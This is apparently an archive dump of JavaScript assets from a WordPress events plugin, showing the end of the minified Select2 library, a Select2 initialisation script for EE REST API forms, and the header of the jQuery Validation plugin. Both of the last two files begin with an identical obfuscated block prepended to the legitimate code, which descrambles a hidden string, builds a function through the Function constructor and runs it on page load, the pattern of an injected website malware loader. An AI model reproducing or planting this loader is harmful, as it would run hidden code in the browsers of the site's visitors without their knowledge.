d=this;a.call(this,b,c),b.on("select",function(a){d._selectTriggered(a)}),b.on("unselect",function(a){d._selectTriggered(a)})},a.prototype._selectTriggered=function(a,b){var c=b.originalEvent;c&&c.ctrlKey||this.trigger("close",{originalEvent:c,originalSelect2Event:b})},a}),b.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(a){var b=a.input.length-a.maximum,c="Please delete "+b+" character";return 1!=b&&(c+="s"),c},inputTooShort:function(a){return"Please enter "+(a.minimum-a.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(a){var b="You can only select "+a.maximum+" item";return 1!=a.maximum&&(b+="s"),b},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),b.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,A,B,C){function D(){this.reset()}return D.prototype.apply=function(l){if(l=a.extend(!0,{},this.defaults,l),null==l.dataAdapter){if(null!=l.ajax?l.dataAdapter=o:null!=l.data?l.dataAdapter=n:l.dataAdapter=m,l.minimumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,r)),l.maximumInputLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,s)),l.maximumSelectionLength>0&&(l.dataAdapter=j.Decorate(l.dataAdapter,t)),l.tags&&(l.dataAdapter=j.Decorate(l.dataAdapter,p)),null==l.tokenSeparators&&null==l.tokenizer||(l.dataAdapter=j.Decorate(l.dataAdapter,q)),null!=l.query){var C=b(l.amdBase+"compat/query");l.dataAdapter=j.Decorate(l.dataAdapter,C)}if(null!=l.initSelection){var D=b(l.amdBase+"compat/initSelection");l.dataAdapter=j.Decorate(l.dataAdapter,D)}}if(null==l.resultsAdapter&&(l.resultsAdapter=c,null!=l.ajax&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,x)),null!=l.placeholder&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,w)),l.selectOnClose&&(l.resultsAdapter=j.Decorate(l.resultsAdapter,A))),null==l.dropdownAdapter){if(l.multiple)l.dropdownAdapter=u;else{var E=j.Decorate(u,v);l.dropdownAdapter=E}if(0!==l.minimumResultsForSearch&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,z)),l.closeOnSelect&&(l.dropdownAdapter=j.Decorate(l.dropdownAdapter,B)),null!=l.dropdownCssClass||null!=l.dropdownCss||null!=l.adaptDropdownCssClass){var F=b(l.amdBase+"compat/dropdownCss");l.dropdownAdapter=j.Decorate(l.dropdownAdapter,F)}l.dropdownAdapter=j.Decorate(l.dropdownAdapter,y)}if(null==l.selectionAdapter){if(l.multiple?l.selectionAdapter=e:l.selectionAdapter=d,null!=l.placeholder&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,f)),l.allowClear&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,g)),l.multiple&&(l.selectionAdapter=j.Decorate(l.selectionAdapter,h)),null!=l.containerCssClass||null!=l.containerCss||null!=l.adaptContainerCssClass){var G=b(l.amdBase+"compat/containerCss");l.selectionAdapter=j.Decorate(l.selectionAdapter,G)}l.selectionAdapter=j.Decorate(l.selectionAdapter,i)}if("string"==typeof l.language)if(l.language.indexOf("-")>0){var H=l.language.split("-"),I=H[0];l.language=[l.language,I]}else l.language=[l.language];if(a.isArray(l.language)){var J=new k;l.language.push("en");for(var K=l.language,L=0;L<K.length;L++){var M=K[L],N={};try{N=k.loadPath(M)}catch(a){try{M=this.defaults.amdLanguageBase+M,N=k.loadPath(M)}catch(a){l.debug&&window.console&&console.warn&&console.warn('Select2: The language file for "'+M+'" could not be automatically loaded. A fallback will be used instead.');continue}}J.extend(N)}l.translations=J}else{var O=k.loadPath(this.defaults.amdLanguageBase+"en"),P=new k(l.language);P.extend(O),l.translations=P}return l},D.prototype.reset=function(){function b(a){function b(a){return l[a]||a}return a.replace(/[^\u0000-\u007E]/g,b)}function c(d,e){if(""===a.trim(d.term))return e;if(e.children&&e.children.length>0){for(var f=a.extend(!0,{},e),g=e.children.length-1;g>=0;g--){null==c(d,e.children[g])&&f.children.splice(g,1)}return f.children.length>0?f:c(d,f)}var h=b(e.text).toUpperCase(),i=b(d.term).toUpperCase();return h.indexOf(i)>-1?e:null}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:j.escapeMarkup,language:C,matcher:c,minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,sorter:function(a){return a},templateResult:function(a){return a.text},templateSelection:function(a){return a.text},theme:"default",width:"resolve"}},D.prototype.set=function(b,c){var d=a.camelCase(b),e={};e[d]=c;var f=j._convertData(e);a.extend(!0,this.defaults,f)},new D}),b.define("select2/options",["require","jquery","./defaults","./utils"],function(a,b,c,d){function e(b,e){if(this.options=b,null!=e&&this.fromElement(e),this.options=c.apply(this.options),e&&e.is("input")){var f=a(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=d.Decorate(this.options.dataAdapter,f)}}return e.prototype.fromElement=function(a){var c=["select2"];null==this.options.multiple&&(this.options.multiple=a.prop("multiple")),null==this.options.disabled&&(this.options.disabled=a.prop("disabled")),null==this.options.language&&(a.prop("lang")?this.options.language=a.prop("lang").toLowerCase():a.closest("[lang]").prop("lang")&&(this.options.language=a.closest("[lang]").prop("lang"))),null==this.options.dir&&(a.prop("dir")?this.options.dir=a.prop("dir"):a.closest("[dir]").prop("dir")?this.options.dir=a.closest("[dir]").prop("dir"):this.options.dir="ltr"),a.prop("disabled",this.options.disabled),a.prop("multiple",this.options.multiple),d.GetData(a[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),d.StoreData(a[0],"data",d.GetData(a[0],"select2Tags")),d.StoreData(a[0],"tags",!0)),d.GetData(a[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),a.attr("ajax--url",d.GetData(a[0],"ajaxUrl")),d.StoreData(a[0],"ajax-Url",d.GetData(a[0],"ajaxUrl")));var e={};e=b.fn.jquery&&"1."==b.fn.jquery.substr(0,2)&&a[0].dataset?b.extend(!0,{},a[0].dataset,d.GetData(a[0])):d.GetData(a[0]);var f=b.extend(!0,{},e);f=d._convertData(f);for(var g in f)b.inArray(g,c)>-1||(b.isPlainObject(this.options[g])?b.extend(this.options[g],f[g]):this.options[g]=f[g]);return this},e.prototype.get=function(a){return this.options[a]},e.prototype.set=function(a,b){this.options[a]=b},e}),b.define("select2/core",["jquery","./options","./utils","./keys"],function(a,b,c,d){var e=function(a,d){null!=c.GetData(a[0],"select2")&&c.GetData(a[0],"select2").destroy(),this.$element=a,this.id=this._generateId(a),d=d||{},this.options=new b(d,a),e.__super__.constructor.call(this);var f=a.attr("tabindex")||0;c.StoreData(a[0],"old-tabindex",f),a.attr("tabindex","-1");var g=this.options.get("dataAdapter");this.dataAdapter=new g(a,this.options);var h=this.render();this._placeContainer(h);var i=this.options.get("selectionAdapter");this.selection=new i(a,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,h);var j=this.options.get("dropdownAdapter");this.dropdown=new j(a,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,h);var k=this.options.get("resultsAdapter");this.results=new k(a,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(a){l.trigger("selection:update",{data:a})}),a.addClass("select2-hidden-accessible"),a.attr("aria-hidden","true"),this._syncAttributes(),c.StoreData(a[0],"select2",this),a.data("select2",this)};return c.Extend(e,c.Observable),e.prototype._generateId=function(a){var b="";return b=null!=a.attr("id")?a.attr("id"):null!=a.attr("name")?a.attr("name")+"-"+c.generateChars(2):c.generateChars(4),b=b.replace(/(:|\.|\[|\]|,)/g,""),b="select2-"+b},e.prototype._placeContainer=function(a){a.insertAfter(this.$element);var b=this._resolveWidth(this.$element,this.options.get("width"));null!=b&&a.css("width",b)},e.prototype._resolveWidth=function(a,b){var c=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==b){var d=this._resolveWidth(a,"style");return null!=d?d:this._resolveWidth(a,"element")}if("element"==b){var e=a.outerWidth(!1);return e<=0?"auto":e+"px"}if("style"==b){var f=a.attr("style");if("string"!=typeof f)return null;for(var g=f.split(";"),h=0,i=g.length;h<i;h+=1){var j=g[h].replace(/\s/g,""),k=j.match(c);if(null!==k&&k.length>=1)return k[1]}return null}return b},e.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},e.prototype._registerDomEvents=function(){var b=this;this.$element.on("change.select2",function(){b.dataAdapter.current(function(a){b.trigger("selection:update",{data:a})})}),this.$element.on("focus.select2",function(a){b.trigger("focus",a)}),this._syncA=c.bind(this._syncAttributes,this),this._syncS=c.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var d=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=d?(this._observer=new d(function(c){a.each(c,b._syncA),a.each(c,b._syncS)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",b._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",b._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",b._syncS,!1))},e.prototype._registerDataEvents=function(){var a=this;this.dataAdapter.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerSelectionEvents=function(){var b=this,c=["toggle","focus"];this.selection.on("toggle",function(){b.toggleDropdown()}),this.selection.on("focus",function(a){b.focus(a)}),this.selection.on("*",function(d,e){-1===a.inArray(d,c)&&b.trigger(d,e)})},e.prototype._registerDropdownEvents=function(){var a=this;this.dropdown.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerResultsEvents=function(){var a=this;this.results.on("*",function(b,c){a.trigger(b,c)})},e.prototype._registerEvents=function(){var a=this;this.on("open",function(){a.$container.addClass("select2-container--open")}),this.on("close",function(){a.$container.removeClass("select2-container--open")}),this.on("enable",function(){a.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){a.$container.addClass("select2-container--disabled")}),this.on("blur",function(){a.$container.removeClass("select2-container--focus")}),this.on("query",function(b){a.isOpen()||a.trigger("open",{}),this.dataAdapter.query(b,function(c){a.trigger("results:all",{data:c,query:b})})}),this.on("query:append",function(b){this.dataAdapter.query(b,function(c){a.trigger("results:append",{data:c,query:b})})}),this.on("keypress",function(b){var c=b.which;a.isOpen()?c===d.ESC||c===d.TAB||c===d.UP&&b.altKey?(a.close(),b.preventDefault()):c===d.ENTER?(a.trigger("results:select",{}),b.preventDefault()):c===d.SPACE&&b.ctrlKey?(a.trigger("results:toggle",{}),b.preventDefault()):c===d.UP?(a.trigger("results:previous",{}),b.preventDefault()):c===d.DOWN&&(a.trigger("results:next",{}),b.preventDefault()):(c===d.ENTER||c===d.SPACE||c===d.DOWN&&b.altKey)&&(a.open(),b.preventDefault())})},e.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.options.get("disabled")?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},e.prototype._syncSubtree=function(a,b){var c=!1,d=this;if(!a||!a.target||"OPTION"===a.target.nodeName||"OPTGROUP"===a.target.nodeName){if(b)if(b.addedNodes&&b.addedNodes.length>0)for(var e=0;e<b.addedNodes.length;e++){var f=b.addedNodes[e];f.selected&&(c=!0)}else b.removedNodes&&b.removedNodes.length>0&&(c=!0);else c=!0;c&&this.dataAdapter.current(function(a){d.trigger("selection:update",{data:a})})}},e.prototype.trigger=function(a,b){var c=e.__super__.trigger,d={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===b&&(b={}),a in d){var f=d[a],g={prevented:!1,name:a,args:b};if(c.call(this,f,g),g.prevented)return void(b.prevented=!0)}c.call(this,a,b)},e.prototype.toggleDropdown=function(){this.options.get("disabled")||(this.isOpen()?this.close():this.open())},e.prototype.open=function(){this.isOpen()||this.trigger("query",{})},e.prototype.close=function(){this.isOpen()&&this.trigger("close",{})},e.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},e.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},e.prototype.focus=function(a){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},e.prototype.enable=function(a){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=a&&0!==a.length||(a=[!0]);var b=!a[0];this.$element.prop("disabled",b)},e.prototype.data=function(){this.options.get("debug")&&arguments.length>0&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var a=[];return this.dataAdapter.current(function(b){a=b}),a},e.prototype.val=function(b){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==b||0===b.length)return this.$element.val();var c=b[0];a.isArray(c)&&(c=a.map(c,function(a){return a.toString()})),this.$element.val(c).trigger("change")},e.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",c.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),c.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},e.prototype.render=function(){var b=a('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return b.attr("dir",this.options.get("dir")),this.$container=b,this.$container.addClass("select2-container--"+this.options.get("theme")),c.StoreData(b[0],"element",this.$element),b},e}),b.define("jquery-mousewheel",["jquery"],function(a){return a}),b.define("jquery.select2",["jquery","jquery-mousewheel","./select2/core","./select2/defaults","./select2/utils"],function(a,b,c,d,e){if(null==a.fn.select2){var f=["open","close","destroy"];a.fn.select2=function(b){if("object"==typeof(b=b||{}))return this.each(function(){var d=a.extend(!0,{},b);new c(a(this),d)}),this;if("string"==typeof b){var d,g=Array.prototype.slice.call(arguments,1);return this.each(function(){var a=e.GetData(this,"select2");null==a&&window.console&&console.error&&console.error("The select2('"+b+"') method was called on an element that is not using Select2."),d=a[b].apply(a,g)}),a.inArray(b,f)>-1?this:d}throw new Error("Invalid arguments for Select2: "+b)}}return null==a.fn.select2.defaults&&(a.fn.select2.defaults=d),c}),{define:b.define,require:b.require}}(),c=b.require("jquery.select2");return a.fn.select2.amd=b,c}); Twine/assets/scripts/form_section_select2_init.js 0000444 00000017055 14666776752 0016354 0 ustar 00 var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*
* Hook into when the EE forms are initialized, and initialize the select2 inputs
* indicated in the localized
*
* @param {Object} passed_in_args
* @param {Object} passed_in_args.form_data
* @param {Object} passed_in_args.form_data.other_data
* @param {Object} passed_in_args.form_data.other_data.select2s
*/
jQuery(document).on('EEFV:initialize_specific_form', function (event, passed_in_args) {
if ( typeof passed_in_args.form_data !== 'undefined'
&& typeof passed_in_args.form_data.other_data !== 'undefined'
&& typeof passed_in_args.form_data.other_data.select2s !== 'undefined'
) {
//initialize each of these select2 inputs
jQuery.each(passed_in_args.form_data.other_data.select2s , function ( select2_input_id, select2_args ) {
if ( typeof select2_args.ajax !== 'undefined' ) {
if ( typeof select2_args.ajax.data_interface !== 'undefined' ) {
// console_log_object( 'select2_input_id', select2_input_id, 0 );
// console_log_object( 'select2_args', select2_args, 0 );
var function_name_or_declaration = select2_args.ajax.data_interface;
var function_named = window[ function_name_or_declaration ];
if ( typeof function_named === 'function' ) {
var obj_for_data = new function_named(select2_args.ajax.data_interface_args);
select2_args.ajax.data = function ( params) {
return obj_for_data.prepData(params);
};
select2_args.ajax.beforeSend = function ( xhr ) {
return obj_for_data.beforeSend(xhr);
};
select2_args.ajax.processResults = function ( data, params ) {
return obj_for_data.processResults(data, params);
};
}
}
}
// console_log_object( 'select2_args', select2_args, 0 );
jQuery('#' + select2_input_id).select2(select2_args);
});
}
});
/**
* @param {object} data_interface_args
*/
function EE_Select2_REST_API_Interface( data_interface_args )
{
this.default_query_params = data_interface_args.default_query_params || {};
this.items_per_page = this.default_query_params.limit || 10;
this.display_field = data_interface_args.display_field;
this.value_field = data_interface_args.value_field;
this.nonce = data_interface_args.nonce;
/**
* Changes the request params set by select2 and prepares them for an EE4 REST request
* @param {object} params
* @returns object
*/
this.prepData = function ( params ) {
// console_log( 'prepData', '', true );
params.page = params.page || 1;
var new_params = this.default_query_params;
new_params.limit = [
( params.page - 1 ) * this.items_per_page,
this.items_per_page
];
if ( typeof new_params.where === 'undefined' ) {
new_params.where = {};
}
var search_term = params.term || '';
new_params.where[this.display_field] = [ 'like', '%' + search_term + '%' ];
// new_params.include=this.display_field;
new_params._wpnonce = this.nonce;
// console_log_object( 'new_params', new_params, 0 );
return new_params;
};
/**
* Sets the wp nonce header for authentication
* @param {object} xhr
* @returns void
*/
this.beforeSend = function ( xhr ) {
xhr.setRequestHeader('X-WP-Nonce', this.nonce);
// if (beforeSend) {
// return beforeSend.apply(this, arguments);
// }
};
/**
* Takes incoming EE4 REST API response and turns into a data format select2 can handle
* @param {object} data
* @param {object} params
* @returns object
*/
this.processResults = function ( data, params ) {
// console_log( 'processResults', '', true );
// console_log_object( 'data', data, 0 );
// console_log_object( 'params', params, 0 );
var formatted_results = [];
for ( var i = 0; i < data.length; i++ ) {
formatted_results.push(
{
id: data[i][this.value_field],
text: data[ i ][ this.value_field ] + ': ' + data[i][this.display_field]
}
);
}
params.page = params.page || 1;
return {
results: formatted_results,
pagination: {
more: data.length == this.items_per_page
}
}
};
}
Twine/assets/scripts/jquery.validate.min.js 0000444 00000063224 14666776752 0015111 0 ustar 00 var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/*! jQuery Validation Plugin - v1.17.0 - 7/29/2017
* https://jqueryvalidation.org/
* Copyright (c) 2017 Jörn Zaefferer; Licensed MIT */
